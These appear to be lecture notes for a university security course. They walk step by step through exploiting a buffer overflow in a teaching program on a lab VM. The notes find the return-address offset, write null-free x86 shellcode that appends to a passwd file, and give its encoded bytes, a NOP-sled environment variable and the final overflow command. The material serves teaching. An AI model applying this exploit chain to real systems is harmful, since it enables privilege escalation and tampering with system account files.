The source code for BCECHO is available on the assignments page. For the attacks to work as described below, you'll want to compile it using the same options as BCMTA. If you update your VM according to the latest version of this week's instructions, you'll get a copy of bcecho in /src: Attack planning: --------------- The key code in bcecho.c is the function print_arg, which is called from main: % cat bcecho.c We also have our own implementation of strlcpy(), since it's not part of the standard library. The print_arg function performs an unneeded copy, and the computation of the size is a bit crazy. What does that formula work out to be? If we're going to exploit this, we should figure out where in the attack string to put the value that will overwrite the return address. We'll demo three approaches: * Disassembly To see the binary code of the executable in a somewhat readable form, use: % objdump -dS bcecho | less "-d" says to disassemble, and "-S" says to interleave the source code if it's available. The pager program "less" will let us conveniently navigate in and search in the results. (You could also redirect to a file and then use your favorite text editor.) Search for "print_arg" (using the "/" command in less) to find the relevant code here: 08048520 : void print_arg(char *str) { 8048520: 55 push %ebp 8048521: 89 e5 mov %esp,%ebp 8048523: 83 ec 28 sub $0x28,%esp char buf[20]; int len; int buf_sz = (sizeof(buf) - sizeof(NULL)) * sizeof(char *); 8048526: c7 45 f4 40 00 00 00 movl $0x40,-0xc(%ebp) len = strlcpy(buf, str, buf_sz); 804852d: 8b 45 f4 mov -0xc(%ebp),%eax 8048530: 50 push %eax 8048531: ff 75 08 pushl 0x8(%ebp) 8048534: 8d 45 dc lea -0x24(%ebp),%eax 8048537: 50 push %eax 8048538: e8 5e ff ff ff call 804849b The move on '526 is setting up buf_sz: we see it's 0x40 = 64. Then it pushes the arguments to strlcpy in reverse order. buf_sz is pushed first, followed by str (0x8(%ebp) is the first argument), and finally buf. There's no stack slot holding the location of buf, but the code generates a pointer to it using "lea", so we can see that the start of the array is at an offset of -0x24 from %ebp. The return address is at 0x4(%ebp) (in between the first argument and the saved old %ebp at offset 0), so the distance from the start of the buffer to the location that will overwrite the return address is 0x24+ 4 = 0x28 = 40. * GDB To run an execution of the program under a debugger, use: % gdb --args ./bcecho hello The "--args" option says that all the remaining command-line arguments are arguments to the program, rather than to GDB. (gdb) b print_arg Breakpoint 1 at 0x8048539: file bcecho.c, line 40. (gdb) run Starting program: /src/bcecho Hello Breakpoint 1, print_arg (str=0xffffd8ff "Hello") at bcecho.c:40 40 int buf_sz = (sizeof(buf) - sizeof(NULL)) * sizeof(char *); (gdb) n 41 len = strlcpy(buf, str, buf_sz); (gdb) p buf_sz $1 = 64 (gdb) p &buf $2 = (char (*)[20]) 0xffffd6e4 (gdb) info frame Stack level 0, frame at 0xffffd710: eip = 0x8048540 in print_arg (bcecho.c:41); saved eip = 0x80485d3 called by frame at 0xffffd740 source language c. Arglist at 0xffffd708, args: str=0xffffd8ff "Hello" Locals at 0xffffd708, Previous frame's sp is 0xffffd710 Saved registers: ebp at 0xffffd708, eip at 0xffffd70c The location of the saved return address is what GDB calls the saved EIP. You can also get GDB to do the math for you: (gdb) p 0xffffd70c - (int)&buf $3 = 40 * Experimentation Another way to explore buffer overflows is to supply different data and see what happens. For instance, you can trigger an overflow using a pattern of data that you'll recognize later: % ./bcecho AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN Segmentation fault (core dumped) Without bothering with GDB, some basic information about crashes is recorded by the kernel on this system: % dmesg -T | tail -1 [Tue Sep 19 16:46:25 2017] bcecho[1525]: segfault at 4b4b4b4b ip 000000004b4b4b4b sp 00000000ffffd640 error 14 in libc-2.23.so[f7e13000+1b0000] 0x4b4b4b4b doesn't look like a valid code address. What letter does 0x4b code for in ASCII? % ascii 0x4b ASCII 4/11 is decimal 075, hex 4b, octal 113, bits 01001011: prints as `K' Official name: Majuscule K Other names: Capital K, Uppercase K To make an attack, the "KKKK" in the above string is what we'd replace with the address we want to jump to. Shellcoding ----------- 1. Attack and shellcode strategizing There are a lot of things that "shellcode" can do beyond giving you a shell: it can represent anything that would be useful to give an attacker a foothold or as part of a larger attack. For HA1, we've told you that a root shell is the ultimate goal, but it's still worth thinking imaginatively about what might be useful as an intermediate step for an attack. * If it's inconvenient to execute /bin/rootshell directly, you might cause the attacked program to execute something else, as long as the ultimate effect is to get a root shell. If you can get another program of the attacker's choosing to run as root, you're already most of the way to your goal. * If there is secret information existing somewhere on the VM that would be useful to help you get a root shell, your attack might consist of leaking that secret data to the attacker. (Attacking data confidentiality as a route to a root shell.) * If there is configuration information somewhere that controls who gets to have a root shell, or has code that is automatically executed by something else that has root privilege, changing that may be useful to help you get control. (Attacking data integrity as a route to a root shell.) As a motivation for what I'll do in the next step, let's think a bit further along the lines of that last strategy. Many of the most important configuration files for a Unix machine live in the directory /etc, and are usually writeable only by root. Changing the contents of many of these files might be useful in an attack. One classic choice is the file /etc/passwd. This file's name, which began as a shortening of "password" before Unix had tab-completion, came because it once stored a database of users and their passwords. These days passwords themselves are often not stored in this file (and they are hashed, a process we'll discuss later), but the file is still a database of all the users on a system, so manipulating it is useful for an attacker. So as not to spell too much out, for demo purposes I'll append something to the end of /etc/passwd, but the line you'd really want to append would be something different. 2. Shellcode writing, with NUL bytes In C, the representation of the functionality we'd like is: fd = open("/etc/passwd", O_WRONLY|O_APPEND); write(fd, "pwned\n", 6); In order to add text to the end of /etc/passwd, we need to open the file with the correct mode to get a file descriptor, and then pass that file descriptor, the bytes to write, and their length to write. There are a few different challenges in writing this in shellcode: a. We have to turn the system call names and the flags into the numeric values that the kernel can interpret. b. We have to set up the bytes for the two strings we use somewhere in memory so we can pass pointers to them to the system calls. c. We'd like to code our shellcode so that it can be compiled without \0 bytes, since that will make it easier to pass it around as a string. Taking the challenges in turn: a. The numbers that correspond to the flags and system calls are held in header files that the compiler can use, though it can sometimes be a bit of a hassle to find the definitions. For O_WRONLY and O_APPEND, you can also just write a small C program that prints the values with printf. Or if you look in the man page for open ("man 2 open"), the synopsis at the beginning will tell you what include files are used with it. The relevant line is "#include ", which leads you to /usr/include/fcntl.h. That then leads to /usr/include/bits/fcntl.h and /usr/include/bits/fcntl-linux.h, which has: #define O_WRONLY 01 # define O_APPEND 02000 System call numbers are traditionally in , but on the VM the real definitions end up being in /usr/include/asm/unistd_32.h, in which we see: #define __NR_write 4 #define __NR_open 5 b. The most convenient place to put the strings is on the stack, since it's an area of memory that's always available, and that we can automatically allocate just by pushing things. One confusing thing about the stack is that we need to store the data there 4 bytes at a time, and because the stack grows down, we need to store those 4-byte words in reverse order. (This is in addition to the fact that you need to write the byte values in the words in reverse order, because x86 is little-endian.) c. There are few extra tricks we need to avoid null bytes in the code. For one thing we can't put a null byte directly in the string when writing it on the stack; instead we need to put another byte value in place of the null and overwrite it later. Second we can't initialize 32-bit registers to small integer values like 4 because the 32-bit representation 0x00000004 has a lot of null bytes in it. However a convenient thing we can use is that on x86 you can refer to the two lowest bytes of %eax, %ebx, %ecx, and %edx using %ah, %al, %bh, %bl, %ch, %cl, %dh, and %dl. We still have to clear out the other parts of the registers, but the fast way to do that you may have seen compilers do, like "xorl %eax, %eax", doesn't have any null bytes in its encoding. With those ideas in mind, here's how the shellcode looks in assembly language format: shellcode: push %ebp mov %esp, %ebp # Strings buffer: # "/etc/passwd\0pwned\n" # / e t c / p a s s w d \0 p w n e d \n # 2f 65 74 63 2f 70 61 73 73 77 64 00 70 77 6e 65 64 0a 00 00 # 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 # 6374652f 7361702f 20647773 656e7770 20200a64 # -20(%ebp) -16(%ebp) -12(%ebp) -8(%ebp) -4(%ebp) # / t m p # 2f 74 6d 70 # 706d742f push $0x20200a64 push $0x656e7770 push $0x20647773 push $0x7361702f #push $0x6374652f push $0x706d742f xorl %ecx, %ecx # %ecx = 0 movb %cl, -9(%ebp) # Linux/x86: syscall calling convention: # Syscall number in %eax # Args in %ebx, %ecx, %edx, %esi, %edi, %ebp # int $0x80 # return value in %eax # fd = open("/etc/passwd", O_WRONLY|O_APPEND = 02001) # open = 5 xorl %eax, %eax movb $5, %al leal -20(%ebp), %ebx xorl %ecx, %ecx # O_WRONLY|O_APPEND = 02001 = 0x0401 movb $0x04, %ch movb $0x01, %cl int $0x80 # write(fd, "pwned\n", 6) mov %eax, %ebx # write = 4 xorl %eax, %eax movb $4, %al leal -8(%ebp), %ecx xorl %edx, %edx movb $6, %dl int $0x80 loop: jmp loop .globl main main: call shellcode For testing purposes I've made this version write to /tmp/passwd instead of /etc/passwd (same string length, but world-writeable), made it finish with an infinite loop, and added a "main" function so you can compile and test it on its own. For instance you can say: % gcc -m32 -nostdlib shellcode.S -o shellcode-test You can't see very much by testing this code at the command line, because it doesn't print any messages, but a useful way to see what's going on is to run it under "strace", which prints out all of the system calls a program executes. For instance: % strace ./shellcode-test execve("./shellcode", ["./shellcode"], [/* 86 vars */]) = 0 [ Process PID=23350 runs in 32 bit mode. ] open("/tmp/passwd", O_WRONLY|O_APPEND) = 3 write(3, "pwned\n", 6) = 6 ^C--- SIGINT {si_signo=SIGINT, si_code=SI_KERNEL} --- ("^C" indicates where I typed Control-C to interrupt the infinite loop.) Those last two system calls correspond to what we wanted the attack to do. You can see the bytes the shellcode is assembled into by looking at the resulting executable with "objdump -d". For the purposes of putting them into a string in an exploit script, it's most convenient to have them in "\x" format, which looks like: \x55\x89\xe5\x68\x64\x0a\x20\x20\x68\x70\x77\x6e\x65\x68\x73\x77\x64\x20\x68\x2f\x70\x61\x73\x68\x2f\x74\x6d\x70\x31\xc9\x88\x4d\xf7\x31\xc0\xb0\x05\x8d\x5d\xec\x31\xc9\xb5\x04\xb1\x01\xcd\x80\x89\xc3\x31\xc0\xb0\x04\x8d\x4d\xf8\x31\xd2\xb2\x06\xcd\x80\xeb\xfe 3. Putting shellcode in an environment variable Now, where in memory should we put the shellcode? Since the HA1 VM still has ASLR turned off and execution on the stack enabled, a convenient place is an environment variable. Environment variables can be pretty long, which lets us use a long NOP sled to be sloppy with targeting, and they all go somewhere near the top of the stack memory area because they're put there before the program starts running. The disadvantage of environment variables is that their location is still a bit unpredictable, because they don't generally go in any particular order. But if you make the shellcode environment variable pretty large compared to the total size of all the other environment variables, and aim for the middle of the environment variable area, you can't miss it. You can estimate the size of your environment with the command % env | wc -lc 19 1753 The first number is the number of variables, and the second is roughly the total size of all the variables in bytes. You can also double check this by looking at the location of the stack pointer in GDB. With ASLR turned off, the stack pointer will always grow down from the top of the user address space, so it will look like 0xffff.... (on a 64-bit kernel like the VMs) or 0xbfff.... (on a true 32-bit system like the laptop I use in lecture). You can subtract to see how far down the stack pointer has moved. % gdb /src/bcecho (gdb) b main (gdb) run (gdb) p $esp $1 = (void *) 0xffffd710 (gdb) info proc process 1248 (gdb) shell cat /proc/1248/maps | fgrep stack fffdd000-ffffe000 rwxp 00000000 00:00 0 [stack] (gdb) p 0xffffe000-(int)$esp $3 = 2288 Actually by looking in the /proc/$$/maps file we can see that the stack precisely starts at 0xffffe000 on this machine, a couple pages down from the very top. 2288 is still a bit larger than 1753 because there are some other things like the program arguments, the auxilliary vector, and padding in that space. And in general you can't depend on the address of anything to be exactly the same inside GDB and outside, because GDB also affects things a bit. But this suggests that if we make our shellcode environment variable around 4000-8000 bytes, it should be easy to hit. To avoid having to type thousands of copies of \x90, we can generate the string using a language that allows string repetition; for instance this is the "x" operator in Perl. To put the results of calling Perl in a command-line we can use the $() shell syntax, plus we need '' quotes around the Perl script and "" quotes around the string inside Perl. In total in sh syntax that looks like: % SHELLCODE=$(perl -e 'print "\x90" x 8000, "\x55\x89\xe5\x68\x64\x0a\x20\x20\x68\x70\x77\x6e\x65\x68\x73\x77\x64\x20\x68\x2f\x70\x61\x73\x68\x2f\x74\x6d\x70\x31\xc9\x88\x4d\xf7\x31\xc0\xb0\x05\x8d\x5d\xec\x31\xc9\xb5\x04\xb1\x01\xcd\x80\x89\xc3\x31\xc0\xb0\x04\x8d\x4d\xf8\x31\xd2\xb2\x06\xcd\x80\xeb\xfe"') % export SHELLCODE A good target for the shellcode is around a page down from the start of the stack, say 0xffffc0ff. We can put that in the command line in place of the KKKK location we found overwrote the return address last time, for instance as in: % /src/bcecho AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ$(echo -e "\xff\xc0\xff\xff")